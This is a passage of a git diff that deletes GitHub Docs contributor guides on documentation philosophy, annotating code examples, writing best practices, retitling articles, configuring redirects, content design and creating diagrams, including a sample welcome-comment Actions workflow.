Our documentation philosophy guides what content we create and how we create it. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About the {% data variables.product.prodname_dotcom %} documentation philosophy - -As the home to the world's largest community of developers, we want to make sure that our documentation is accurate, valuable, inclusive, and easy to use. Our documentation philosophy leads us toward these goals. - -* We advocate for our users. This can occur at any point in the documentation process, from planning to writing to publishing. We respond to feedback and proactively work to create the best user experience possible on the {% data variables.product.prodname_docs %} site. -* We write for an international audience, so that our content can be translated and is inclusive of all people. -* We create content that can be accessed by a broad group of users. Our content toolkit includes resources and guidance to reduce barriers for people with disabilities and we prioritize keeping up to date with the latest accessibility standards. -* We create task-based content. We consider what people are trying to accomplish when they use {% data variables.product.prodname_dotcom %}, and then we create content that helps them achieve their goals and discover new possibilities. -* We collaborate with teams across {% data variables.product.prodname_dotcom %} and the open source community to create high-quality content. -* We continually learn and improve to curate the best experience for people using {% data variables.product.prodname_dotcom %}. diff --git a/content/contributing/writing-for-github-docs/annotating-code-examples.md b/content/contributing/writing-for-github-docs/annotating-code-examples.md deleted file mode 100644 index 97c3bb61b08a..000000000000 --- a/content/contributing/writing-for-github-docs/annotating-code-examples.md +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Annotating code examples -shortTitle: Annotate code examples -intro: You can annotate longer code examples to explain how they work and how people can customize them for other uses. -layout: inline -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs/annotating-code-examples ---- - -## About code annotations - -Code annotations help explain longer code examples by describing what a code example does and why. The annotations render next to the code example in a two pane layout, so we can write longer annotations without making the code itself difficult to read. We only annotate full code examples, not snippets. Code annotations are not required for every code example and should only be used if there is a clear need for them. - -Code annotations can be helpful for a variety of audiences. Often, code annotations will be used to explain key concepts to new users or specific choices to more experienced users. - -For new users, code annotations are a way to go beyond the high level overview of a code example and explain what each line of code does so that someone can understand the code as if a friend or coworker were guiding them through it. - -For more experienced users, code annotations can help them understand a code example and then tailor it to their specific needs. Annotations can explain why code was written a certain way so that the fundamentals are clear. - -You can annotate multiple code examples in a single article, but keep in mind that each annotation increases the complexity of an article and adds repetitive navigation tasks for people using screen readers. If you have multiple code examples in an article, consider whether they can be combined into a single example. - -## Enabling and adding code annotations - -1. Specify the `layout: inline` frontmatter property for the article. -1. Create a code example using triple backticks. -1. Specify a language for the code example after the triple backtick, followed by `annotate`. For example, ` ```yaml annotate` or ` ```ruby annotate`. -1. Add annotations using comment tags (`#`, `//`, <code><!--</code>, `%%`) within the code example. You must use the comment tag for the language that the code sample is written in. For example, `#` for YAML and `//` for JavaScript. - * An annotated code example must start with a single line annotation. You can start with a blank annotation if you do not want to add an annotation to the first line of code. - * Annotations apply to the code from the line below the comment tag to the next comment tag or the end of the code block. - -### Annotation rules - -The following rules apply to all code annotations. - -* Multiline-style comments, such as `/*` are not supported. -* There must be a space between the symbol that starts a code annotation and the comment. - * **Use:** `# comment` - * **Avoid:** `#comment` -* To create a blank annotation, insert a comment tag with no text after it. Blank annotations are useful if some lines of a sample don't require an annotation. -* Strings that begin with `#!` will render in the code block and are not treated as comments. -* Anything after the comment tag will be parsed with Markdown. Links, versioning, and other styling will render as if they were written in Markdown. -* Multiple sequential comments will create a single annotation. -* Lines that do not start with a comment tag and are empty or only contain spaces will be ignored. -* You must start the code section with a single line comment. If the first line (or section) of the code does not need an annotation, you can use a comment tag with no text to create a blank annotation. -* For HTML style, you should include a closing tag, `<!-- -->`, after your annotations to maintain syntax highlighting. - -## Code annotations best practices - -Introduce the overall purpose of a code example with an introduction before the code block and use annotations to explain what specific lines of code do and why they do it. - -Prioritize clarity in code annotations while trying to keep them as short as possible. People use code samples as a foundation for their own work, so annotations should help people understand the sample as it is written and how they might adapt the sample for other uses. - -Consider your audience when writing code annotations and do not assume people will know why an example is written a certain way. - -Annotations can be used to show the expected outcomes for the code that they annotate, but the results for the entire code example should be in whichever way best serves the audience: either the introduction for the code example or discussed after the example. - -If a code example is changed, check that all annotations are still valid. - -## Example of an annotated code example - -The following examples show what rendered code annotations look like and the raw code that creates them. - -### Rendered example - -The following code example shows a workflow that posts a welcome comment on a pull request when it is opened. - -```yaml annotate -# The name of the workflow as it will appear in the "Actions" tab of the GitHub repository. -name: Post welcome comment -# The `on` keyword lets you define the events that trigger when the workflow is run. -on: - # Add the `pull_request` event, so that the workflow runs automatically - # every time a pull request is created. - pull_request: - types: [opened] -# Modifies the default permissions granted to `GITHUB_TOKEN`. -permissions: - pull-requests: write -# Defines a job with the ID `build` that is stored within the `jobs` key. -jobs: - build: - name: Post welcome comment - # Configures the operating system the job runs on. - runs-on: ubuntu-latest - # The `run` keyword tells the job to execute a command on the runner. - steps: - - run: gh pr comment $PR_URL --body "Welcome to the repository!" - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - PR_URL: ${{ github.event.pull_request.html_url }} -``` - -### Raw code example - - The following code example shows a workflow that posts a welcome comment on a pull request when it is opened. - - ```yaml annotate - # The name of the workflow as it will appear in the "Actions" tab of the GitHub repository. - name: Post welcome comment - # The `on` keyword lets you define the events that trigger when the workflow is run. - on: - # Add the `pull_request` event, so that the workflow runs automatically - # every time a pull request is created. - pull_request: - types: [opened] - # Modifies the default permissions granted to `GITHUB_TOKEN`. - permissions: - pull-requests: write - # Defines a job with the ID `build` that is stored within the `jobs` key. - jobs: - build: - name: Post welcome comment - # Configures the operating system the job runs on. - runs-on: ubuntu-latest - # The `run` keyword tells the job to execute a command on the runner. - steps: - - run: gh pr comment $PR_URL --body "Welcome to the repository!" - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - PR_URL: ${{ github.event.pull_request.html_url }} - ``` diff --git a/content/contributing/writing-for-github-docs/best-practices-for-github-docs.md b/content/contributing/writing-for-github-docs/best-practices-for-github-docs.md deleted file mode 100644 index 6dc43c8e983a..000000000000 --- a/content/contributing/writing-for-github-docs/best-practices-for-github-docs.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Best practices for GitHub Docs -shortTitle: Best practices for GitHub Docs -intro: Follow these best practices to create documentation that's user-friendly and easy to understand. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About {% data variables.product.prodname_dotcom %} documentation - -At {% data variables.product.prodname_dotcom %}, we strive to create documentation that is accurate, valuable, inclusive, accessible, and easy to use. - -Before contributing to {% data variables.product.prodname_docs %}, please take a moment to familiarize yourself with {% data variables.product.prodname_dotcom %}'s documentation philosophy, fundamentals, and content design principles: - -* [AUTOTITLE](/contributing/writing-for-github-docs/about-githubs-documentation-philosophy) -* [AUTOTITLE](/contributing/writing-for-github-docs/about-githubs-documentation-fundamentals) -* [AUTOTITLE](/contributing/writing-for-github-docs/content-design-principles) - -## Best practices for writing {% data variables.product.prodname_dotcom %} documentation - -Whether you're creating a new article or updating an existing one, you should follow these guidelines when writing for {% data variables.product.prodname_docs %}: - -* [Align content to user needs](#align-content-to-user-needs) -* [Structure content for readability](#structure-content-for-readability) -* [Write for readability](#write-for-readability) -* [Format for scannability](#format-for-scannability) - -## Align content to user needs - -Before you begin, it’s important to understand who you’re writing for, what their goals are, the core tasks or concepts that the article will address, and what type of content to write. - -### Define the audience - -* Who will read this content? -* What are they trying to do? - -### Define the core purpose - -* What should someone be able to do or understand after reading this article? Choose one or two tasks or concepts that the content will discuss. -* If there are additional tasks, concepts, or information that are not essential, consider if they can be placed lower in the article, moved to another article, or omitted completely. - -### Determine the content type - -Determine which type of content you will write, based on the intended audience and the core purpose of the content. {% data variables.product.prodname_docs %} use the following content types: - -* [Conceptual content](/contributing/style-guide-and-content-model/conceptual-content-type) -* [Referential content](/contributing/style-guide-and-content-model/referential-content-type) -* [Procedural content](/contributing/style-guide-and-content-model/procedural-content-type) -* [Troubleshooting content](/contributing/style-guide-and-content-model/troubleshooting-content-type) -* [Quickstart](/contributing/style-guide-and-content-model/quickstart-content-type) -* [Tutorial](/contributing/style-guide-and-content-model/tutorial-content-type) - -For example, use the conceptual content type to help readers understand the basics of a feature or topic and how it can help them accomplish their goals. Use the procedural content type to help people complete a specific task from start to finish. - -## Structure content for readability - -Use the following best practices to structure the content. When adding content to an existing article, follow the existing structure whenever possible. - -* **Provide initial context**. Define the topic and state its relevance to the reader. -* **Structure the content in a logical order** by importance and relevance. Place information in order of priority, and in the order users will need it. -* **Avoid long sentences and paragraphs**. - * Introduce concepts one by one. - * Use one idea per paragraph. - * Use one idea per sentence. -* **Emphasize the most important information**. - * Begin each sentence or paragraph with the most important words and takeaways. - * When explaining a concept, start with the conclusion, then explain it in more detail. (This is sometimes called an "inverted pyramid.") - * When explaining a complex topic, present readers with the basic information first, and disclose the details later in the article. -* **Use meaningful subheadings**. Organize related paragraphs into sections. Give each section a subheading that is unique and that accurately describes the content. -* **Consider using in-page links** for longer content. This allows readers to jump to areas of interest and skip content that is irrelevant to them. - -## Write for readability - -Make it easy for busy users to read and understand the text. - -* **Use plain language.** Use common, everyday words, and avoid jargon when possible. Terms that are well known to developers are fine, but don't assume that the reader knows the details of how {% data variables.product.prodname_dotcom %} works. -* **Use active voice.** -* **Be concise.** - * Write sentences that are simple and brief. - * Avoid complex sentences that contain multiple concepts. - * Pare down unnecessary details. - -For related information, see "Voice and tone" in [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#voice-and-tone) and [AUTOTITLE](/contributing/writing-for-github-docs/writing-content-to-be-translated). - -## Format for scannability - -Most readers don't consume articles in their entirety. Instead they either _scan_ the page to locate specific information, or _skim_ the page to get a general idea of the concepts. - -When scanning or skimming content, readers skip over large chunks of text. They look for elements that are related to their task or that stand out on the page, such as headings, alerts, lists, tables, code blocks, visuals, and the first few words in each section. - -Once the article has a clearly defined purpose and structure, you can apply the following formatting techniques to optimize the content for scanning and skimming. These techniques can also help to make content more understandable for all readers. - -* **Use text highlighting** such as boldface and hyperlinks to call attention to the most important points. Use text highlighting sparingly. Do not highlight more than 10% of the total text in an article. -* **Use formatting elements** to separate the content and create space on the page. For example: - * Bulleted lists (with optional run-in subheads) - * Numbered lists - * [Alerts](/contributing/style-guide-and-content-model/style-guide#alerts) - * Tables - * Visuals - * Code blocks and code annotations - -## Further reading - -* [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide) -* [AUTOTITLE](/contributing/style-guide-and-content-model/about-the-content-model) -* [AUTOTITLE](/contributing/style-guide-and-content-model/contents-of-a-github-docs-article) -* [Readability Guidelines](https://readabilityguidelines.co.uk/), Content Design London -* [Rewriting Digital Content for Brevity](https://www.nngroup.com/articles/rewriting-content-brevity/), Nielsen Norman Group diff --git a/content/contributing/writing-for-github-docs/changing-an-articles-title.md b/content/contributing/writing-for-github-docs/changing-an-articles-title.md deleted file mode 100644 index df803986999f..000000000000 --- a/content/contributing/writing-for-github-docs/changing-an-articles-title.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Changing an article's title -shortTitle: Change an article's title -intro: 'When it''s necessary to change the title of an article, the name may need to be updated in several places.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs/changing-an-articles-title ---- - -## Changing the title of an article - -Sometimes, it's necessary to change the title of a help article. There are several considerations to keep in mind when you retitle an article. - -## Background on changing the filename - -The title of the article corresponds directly to the name of the Markdown file that contains that article, for a couple of reasons: - -* **SEO:** When we use real words that correlate to the content of the article in a URL, our articles are weighted more heavily for search engines. For more information, see "Improve the structure of your URLs" in the [Google Search Engine Optimization Starter Guide](http://static.googleusercontent.com/media/www.google.com/en//webmasters/docs/search-engine-optimization-starter-guide.pdf). - -## Places you should consider updating when you change a title - -There are several places you may need to update when you give an article a new title. - -### Frontmatter and metadata section - -Each article contains a metadata section or frontmatter located at the **top of the article** formatted using YAML syntax. This metadata section generates the title of the article and contains other important data, such as redirects and sometimes even short description conrefs that link to reusable intro text. - -```yaml ---- -title: Your article name -intro: -redirect_from: - - /articles/older-outdated-article-name/ ---- -``` - -#### Frontmatter update checklist - -* Update title using sentence case -* Update redirects. Almost every time we retitle an article, we should add a redirect referencing the article's old URL and make sure we keep any redirects in the old article's frontmatter. - -### Filename - -You can use the [`git mv` command](https://git-scm.com/docs/git-mv) in your terminal to change the name of the file. - -`$ git mv old-article-name.md new-article-name.md` - -### Parent index file - -Make sure to update the link to the file in its parent `index.md` file, which generates the TOC. - -### Inline links within other articles - -We link between articles in our documentation. We recommend searching for both the filename and title to find links to update. - -### Links across {% data variables.product.prodname_dotcom %} - -Search in product for links to the old title. If you find any outdated links, contact the relevant team or engineers to let them know the link has changed and ask them to update it. If you're not sure who to contact, you can ask a member of the {% data variables.product.prodname_docs %} team. As a courtesy, you can also create a pull request with the updated links and ask the relevant team to merge it after the updated article title ships. diff --git a/content/contributing/writing-for-github-docs/configuring-redirects.md b/content/contributing/writing-for-github-docs/configuring-redirects.md deleted file mode 100644 index 9036cd4f3d4f..000000000000 --- a/content/contributing/writing-for-github-docs/configuring-redirects.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Configuring redirects -shortTitle: Configure redirects -intro: 'If an article''s title, version, or location changes, you can create a redirect to the current content.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs/configuring-redirects ---- - -## About redirects - -If a change is made to an article that affects people's ability to find it, we create a redirect from any outdated versions to the current content. We might need to do this if an article's title is changed, a new version is added, or the location of the file is changed. - -Redirects can be configured locally or externally. - -## Configuring local redirects - -Within the {% data variables.product.prodname_docs %}, you can redirect from one file to another or from one version to another. - -### Redirects across files - -If you change the name of an article and want its old URL to redirect to its new URL for all versions, use the `redirect_from` frontmatter with the path to the article's old name. If you change the name of an article and want different versions to redirect to different URLs, follow the steps in the [Redirects across versions](#redirects-across-versions) section. - -In the following example, the article "All about commits" was renamed to "Creating your first commit." The `redirect_from` frontmatter redirects anyone who navigates to the old article URL to the new article URL. - -```yaml -title: Creating your first commit -redirect_from: - - /content/get-started/all-about-commits -``` - -See [`redirect_from`](https://github.com/github/docs/blob/main/content/README.md#redirect_from) in the {% data variables.product.prodname_docs %} README file for more details. - -### Automatic redirects for URLs that do not include a version - -If a URL for a page is entered without a version (`https://docs.github.com/ARTICLE` instead of `https://docs.github.com/VERSION/ARTICLE`), the site will automatically redirect it to the first available version of the page.<!-- markdownlint-disable-line search-replace --> - -The order of precedence is specified in [`lib/all-versions.js`](https://github.com/github/docs/blob/main/src/versions/lib/all-versions.js). The current order of precedence is: - -1. {% data variables.product.prodname_free_team %}, {% data variables.product.prodname_pro %}, or {% data variables.product.prodname_team %} (`fpt`) -1. {% data variables.product.prodname_ghe_cloud %} (`ghec`) -1. {% data variables.product.prodname_ghe_server %} (`ghes`) - -If a page titled `ARTICLE` is only available in {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}, the link `https://docs.github.com/ARTICLE` will automatically redirect to `https://docs.github.com/enterprise-cloud@latest/ARTICLE` because {% data variables.product.prodname_ghe_cloud %} has precedence over {% data variables.product.prodname_ghe_server %}.<!-- markdownlint-disable-line search-replace --> - -If `ARTICLE` is available in Free, Pro, or Team, no redirect will occur because `fpt` pages do not have a version segment, so the `fpt` content at `https://docs.github.com/ARTICLE` will render.<!-- markdownlint-disable-line search-replace --> - -### Redirects across versions - -If you want the URL for one version of an article to redirect to a URL for another version or to another URL entirely, you must update the [redirect-exceptions.txt](https://github.com/github/docs/blob/main/src/redirects/lib/static/redirect-exceptions.txt) file in the `src/redirects` directory. - -For example, if you remove the Free, Pro, or Team (`fpt`) version of an article, the URL will automatically redirect to the next available version of the page. If you want it to redirect to a version that is lower in the order of precedence, or to a different page entirely, you must specify an exception. - -Each entry in the `redirect-exceptions` file should start with the path you want to redirect _to_, including the version, followed by an unordered list of the paths you want to redirect _from_. In the following example, the paths in the unordered list will redirect to the {% data variables.product.prodname_ghe_cloud %} version of [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization). - -```text -/enterprise-cloud@latest/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization - - /enterprise-server@3.3/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization - - /enterprise-server@3.4/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization - - /enterprise-server@3.5/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization -``` - -## Configuring external redirects - -Rarely, content will move outside the {% data variables.product.prodname_docs %} site. For these types of redirects, update the [`external-sites.json`](https://github.com/github/docs/blob/main/src/redirects/lib/external-sites.json) file in the `src/redirects` directory. - -Each entry in the `external-sites.json` file is a key value pair where the key is the path to where the content was and the value is the path to where it should redirect. - -```json - "/github-status": "https://www.githubstatus.com/", - "/articles/github-security": "https://github.com/security", -``` diff --git a/content/contributing/writing-for-github-docs/content-design-principles.md b/content/contributing/writing-for-github-docs/content-design-principles.md deleted file mode 100644 index 390c128d399a..000000000000 --- a/content/contributing/writing-for-github-docs/content-design-principles.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Content design principles -shortTitle: Content design principles -intro: 'We share these principles to design and create the best content for people who use {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About {% data variables.product.prodname_dotcom %}'s content design principles - -We create product documentation that helps, teaches, and engages everyone who uses {% data variables.product.prodname_dotcom %}. One step of this work is designing the content that we write. We follow these principles when designing and planning content. - -* Our content is user-centered and inclusive. We respect everyone who visits the docs and make content that works for them with our strategy, design, and style choices. -* Our content explains why our products are useful and helps people achieve their goals and priorities. -* We spend our resources creating high-quality, valuable documentation for {% data variables.product.prodname_dotcom %}’s community. -* We create just enough docs - more content makes everything more difficult to find, and anything added dilutes everything else ({% data variables.product.prodname_dotcom %} Zen). -* We iterate and ship to learn - as we learn more from experience, industry expertise, and working with our {% data variables.product.prodname_docs %} community, we adjust our processes, practices, and guidelines. - -We provide a style guide and content models as building blocks and guidelines for anyone to design and create documentation. - -* Our style guide and content models apply to a range of scenarios. -* Decisions are based on what is best for people using our docs, not simply what is right or wrong according to grammar or style rules. We are flexible and open to change while maintaining consistency. -* We focus our attention on documenting high-impact, high-value scenarios rather than attempting to comprehensively cover every possible use case for the many {% data variables.product.prodname_dotcom %} products and features. -* Our highest priorities are clarity, meaning, correctness, and consistency. -* When making a style or structure decision, we consider what people are trying to do with the information and how our content can best support their goals. -* When a question specific to documentation is not covered by the style guide or content model, we evaluate it using these principles, then make a decision. diff --git a/content/contributing/writing-for-github-docs/creating-diagrams-for-github-docs.md b/content/contributing/writing-for-github-docs/creating-diagrams-for-github-docs.md deleted file mode 100644 index ee273ddcb0f2..000000000000 --- a/content/contributing/writing-for-github-docs/creating-diagrams-for-github-docs.md +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: 'Creating diagrams for {% data variables.product.prodname_docs %}' -shortTitle: Create diagrams -intro: 'This guide explains when and how to create diagrams for {% data variables.product.prodname_docs %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -allowTitleToDifferFromFilename: true ---- - -## About diagrams in {% data variables.product.prodname_docs %} - -Diagrams use shapes, lines, and labels to explain concepts visually. We use diagrams to support textual information in {% data variables.product.prodname_docs %}. - -Diagrams do not make information less complex, but they present a different way to receive and process information. Some people want to be shown information instead of reading it. Some people cannot engage with visual diagrams and need the information to be presented in text. - -There are many uses for diagrams. Diagrams can provide high-level overviews of concepts that require paragraphs or entire articles to write about. Someone could view the diagram and then decide if they want to read more for additional information. Diagrams can also be used for system-level decision making by seeing an entire process at once or micro-level understanding of specific steps in a workflow. Diagrams are content, and like all content merit careful consideration of user needs to determine how to best use them. - -Diagrams are creative. If you have an idea for a diagram that helps people, no matter the exact shapes that it uses, it might be a good fit for {% data variables.product.prodname_docs %}. The following requirements and recommendations will help you create a diagram that can be included in {% data variables.product.prodname_docs %}. - -## Diagram checklist - -To be included in {% data variables.product.prodname_docs %}, a diagram must meet the following criteria. - -* The diagram can be accessed by as many users as possible. - * Diagrams have clear starting points and are easy to follow. - * Diagrams are preceded or followed by complete text descriptions in the article in which they appear, with no information conveyed entirely in visual form. - * Diagrams have appropriate contrast. - * Diagrams have appropriate alternate text. - * Diagrams are clear and crisp with elements as legible as possible. -* The diagram has acceptance criteria and meets them. - * Diagrams have an audience. - * Diagrams have the right amount of information and density. -* The diagram is visually sound. - * Diagrams follow the style set forth in this content model. - * Diagrams have enough information to be easy to understand and navigate, but they are not overly decorated or needlessly complex. - -## Maintaining diagrams - -The creator of a diagram is responsible for maintaining it. If a diagram is out of date, it is the {% data variables.product.prodname_docs %} team's discretion to remove, update, or replace the diagram. - -## When not to use diagrams - -Diagrams are not a substitute for text. They compliment written information in articles. Do not add a diagram to try to simplify or fix an article that is confusing. Consider rewriting the article text and possibly adding a diagram if it supports the rewritten text. - -## When to use diagrams - -Diagrams can be used in {% data variables.product.prodname_docs %} when they help people and are not just visual adornment. To determine if a diagram is helpful, it needs acceptance criteria that include the following: - -* Who is the audience for the diagram? -* What is the scope of the diagram? -* How does the diagram complements the accompanying text? -* How will you evaluate the diagram's effectiveness? - -A diagram must always be accompanied by text that fully conveys the same information. - -### Acceptance criteria for diagrams - -To create acceptance criteria for a diagram, answer these questions. - -#### Who is the audience for the diagram? - -Diagrams, like articles, can have broad or specific audiences. For example, diagram audiences could be people who are considering purchasing {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %}, {% data variables.product.prodname_GH_code_security %}, or {% data variables.product.prodname_GH_secret_protection %}{% endif %} for their organization or students learning how the application process for {% data variables.product.prodname_global_campus %} works. - -#### What is the scope of the diagram? - -The more information in a diagram, the more difficult it becomes to create and understand. All diagrams need an established scope to guide their creation and evaluate their effectiveness. For example, a diagram that explains what {% data variables.product.prodname_dotcom %} is has a very large scope. It would likely be confusing if it went into detailed information about every {% data variables.product.prodname_dotcom %} product and feature, so we would expect a diagram of this scope to provide a broad overview. In contrast, a diagram that helps someone evaluate whether {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners are more appropriate for their uses will likely go into more specific and nuanced information since it has a more narrow scope. - -#### How does the diagram complement the accompanying text? - -A diagram can serve a different purpose depending on what text it is near. A diagram depicting a complex system following a text description of the system can offer a visual explanation of the system that will help some people understand the concept as a whole. A diagram before procedural steps that illustrates the task someone is about to do can help some people prepare to complete the task successfully. A diagram needs a purpose that it accomplishes with the text, and a diagram can never be the only way information is communicated in an article. - -#### How will you evaluate the diagram's effectiveness? - -Considering the audience and scope, you should be able to identify what exactly a diagram needs to explain for it to be effective. Before including a diagram in {% data variables.product.prodname_docs %}, have someone else review and determine if it explains the expected information to the specified audience with the amount of detail appropriate to the scope. - -## Choosing what type of diagram to use - -Different people will find different diagrams valuable and there is as much art as science to creating a good diagram. The following general guidelines can help you choose what type of diagram to use, but you may also have a unique diagram that is a better fit for your specific acceptance criteria. - -### Diagrams that explain time - -If you are creating a diagram to explain when or how something happens, consider one of these diagram types. - -* [Flowchart](https://en.wikipedia.org/wiki/Flowchart): Flowcharts are useful for showing the steps in a process. In this example, the rectangles represent steps in a process and the diamond represents a decision point where the chart branches into two possible endpoints. - - ![An example flowchart that uses rectangles to represent steps in a process and a diamond to represent a decision point where the chart branches.](/assets/images/help/diagrams/flowchart-example.png) - -* [Gantt chart](https://en.wikipedia.org/wiki/Gantt_chart): Gantt charts are useful for showing how long tasks take and when they overlap. In this example, the horizontal axis is labelled "Time" and the blue rectangles represent three discrete tasks. Task 1 and task 2 overlap, which means that at least part of the tasks happen at the same time. Task 3 does not overlap with the other tasks, which means that it happens after the first two are completed. - - ![An example Gantt chart that has three tasks arranged on a horizontal axis labeled "Time".](/assets/images/help/diagrams/gantt-example.png) - -* [Journey map](https://en.wikipedia.org/wiki/User_journey): Journey maps are useful for showing how the state of something over time. In this example, the horizontal axis is labelled "Time" and the vertical axis is labelled "Something observed or measured." Blue dots mark measurements at specific times and they are connected with a line to illustrate the trend over time. - - ![An example journey map that has a line on two axes tracking events over time that we want to observe or measure something about.](/assets/images/help/diagrams/journey-example.png) - -### Diagrams that explain arrangement - -If you are creating a diagram to explain what or where things are, consider one of these diagram types. - -* [Block diagram](https://en.wikipedia.org/wiki/Block_diagram): Block diagrams are useful for showing how things are organized by putting items within other items. This example shows how content is organized in {% data variables.product.prodname_docs %} with the largest rectangle labelled "Category," a rectangle within that labelled "Map topics," and a rectangle within that labelled "Articles." - - ![A block diagram of the GitHub Docs content model with overlapping squares showing articles within map topics within categories.](/assets/images/help/diagrams/block-example.png) - -* [Concept map](https://en.wikipedia.org/wiki/Concept_map): Concept maps are useful for showing relationships between things. Different lines with or without labels show how things are connected or affect each other. In this example, the four blue rectangles represent concepts and the lines between them show different relationships between them. - - ![An example concept map that shows relationships between four blue rectangles labeled A, B, C, and D.](/assets/images/help/diagrams/concept-map-example.png) - -* [Hierarchy](https://en.wikipedia.org/wiki/Hierarchy#Visually_representing_hierarchies): Hierarchies are useful for showing relationships between categories and subcategories. In this example, three levels of a hierarchy are organized vertically. - - ![An example hierarchy that shows two levels of subcategories beneath a main category.](/assets/images/help/diagrams/hierarchy-example.png) - -### Diagrams that explain context - -If you are creating a diagram to explain why something is the way that it is, consider one of these diagram types. - -* [Continuum diagram](https://en.wikipedia.org/wiki/Continuum_(measurement)): Continuum diagrams are useful for showing where things fall on a linear spectrum. In this example, the blue rectangle shows that the item of interest is closer to Option 2 than Option 1 on the continuum. - - ![An example continuum with a horizontal axis representing the continuum between two options and the position of an item on the continuum.](/assets/images/help/diagrams/continuum-example.png) - -* [Quadrant diagram](https://en.wikipedia.org/wiki/Quadrant_(plane_geometry)): Quadrant diagrams are useful for explaining the relationship between two axes and where things fall on both axes. In this example, the horizontal axis is labelled "Purely decorative" on the left and "Meets a specific acceptance criteria" on the right. The vertical axis is labelled "Compliment written text" on the top and "The only way information is presented" on the bottom. The blue square labelled "Diagrams in the {% data variables.product.prodname_docs %}" is in the upper right quadrant formed by the overlap of "Compliment written text" and "Meets a specific acceptance criteria," which means that it has those two properties. - - ![An example quadrant diagram with four quadrants created by two axes and a blue rectangle in the upper right quadrant.](/assets/images/help/diagrams/quadrant-example.png) - -* [Venn diagram](https://en.wikipedia.org/wiki/Venn_diagram): Venn diagrams are useful for showing shared traits or overlap of ideas. Circles represent concepts or things, and the area where the circles overlap represent shared traits between things. In this example, the overlap between the circle labelled "Octopus" and the circle labelled "Cat" is labelled "Octocat," which is a combination of an octopus and a cat. - - ![An example Venn diagram with two circles overlapping: one labeled "Octopus" and the other "Cat". The intersection of the circles is labeled "Octocat".](/assets/images/help/diagrams/venn-diagram-example.png) - -## Style guidelines - -Follow these rules to create diagrams that fit the style of {% data variables.product.prodname_docs %}. - -### Shapes - -Shapes represent objects or concepts in a diagram. - -You can use elements from the {% data variables.product.prodname_dotcom %} UI such as octicons, menus, or buttons to create diagrams if they are relevant and legible. - -For custom diagram shapes, use these shapes for their associated meanings. - -* Rectangles: Things, objects, ideas. -* Stack of rectangles: Multiples of alike things. -* Diamonds: Decisions someone makes while following the diagram's flow. -* Circles, stars, or other shapes: Unique things that need to be different from anything represented by a rectangle. - -The arrangement of shapes can convey meaning. - -* Shape within another shape: This is part of that. -* Shape with an arrow pointing to another shape: This leads to that. -* Shape indented under shape: This is a type of that. -* Shape with a line to another shape: This relates to that. The thickness of the line can convey further meaning with thick lines indicating a strong connection and dotted lines a tenuous connection. -* Shape overlapping another shape: This is the same as that. - -### Lines - -Lines represent relationships between shapes in a diagram. - -Use different types of lines to convey additional meaning of relationships. - -* Non-directional lines: Associations - ![Two blue rectangles connected by a non-directional line.](/assets/images/help/diagrams/non-directional-line-example.png) -* One-way lines that end with an arrow: Show sequences or point to objects. - ![Two blue rectangles connected by a line with an arrow on the right end.](/assets/images/help/diagrams/directional-line-example.png) -* Two-way lines that have an arrow on each side: Indicate reciprocation. - ![Two blue rectangles connected by a line with an arrow on both ends.](/assets/images/help/diagrams/two-way-line-example.png) -* Brackets: Establish hierarchy. In general, organize brackets vertically so that they are easier to navigate on a webpage. Indent each level of a hierarchy. - ![Two examples demonstrating the difference between vertical (left) and horizontal (right) arrangement of three rectangles connected by brackets.](/assets/images/help/diagrams/brackets-example.png) - -### Labels - -Labels are visual and verbal markers. Labels should be 25 characters or less. To increase the contrast of a label, put the text in a rectangle. It is often easier to label things toward the end of creating a diagram. - -### Keys - -Keys help with understanding by explaining what different elements of a graph are or explicitly clarifying relationships. Not every diagram will need a key. - -Keys cannot introduce new information that isn't otherwise in the diagram. Keys cannot fix overly complicated diagrams. Keys should not define poorly labelled objects or relationships. - -Keys should be used to explain shapes, colors, or other visual elements. Keys can also include citations or explanations of scale and manipulation. Keys can include some instruction like where to begin in a flow chart, but most instruction should be in the text that introduces a diagram. - -### Colors - -If a diagram needs color, use colors defined in the [Primer Design System](https://primer.style/product/getting-started/foundations/color-usage). To make diagrams accessible to more people, color cannot be the only way to convey information. For example, if you use color to indicate a relationship, you must also use a line or other visual element to convey the same information. - -The preferred colors for diagrams in {% data variables.product.prodname_docs %} are: - -| Color | Hex code | -| --- | --- | -| Black | `#24292f` | -| Blue | `#0969DA` | -| Gray | `#57606a` | -| Green | `#1a7f37` | -| Purple | `#8250df` | -| Red | `#cf222e` | - -### Technical specifications - -* PNG file format -* Static images only (no GIFs) -* File size of 250 KB or less -* Descriptive file names, such as `merge-conflict-diagram.png` instead of `diagram-02.png` - -If you need to create a diagram that is difficult to view at small resolutions, include a link to a larger version of the diagram in a relevant repository or other appropriate location. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller) for an example. - -## Tools for creating diagrams - -The recommended tool for using diagrams is Figma so that you have access to Primer colors and other assets. However, you can use another program if you prefer. Follow the shape conventions in the style guide above and use the colors defined in the [Primer 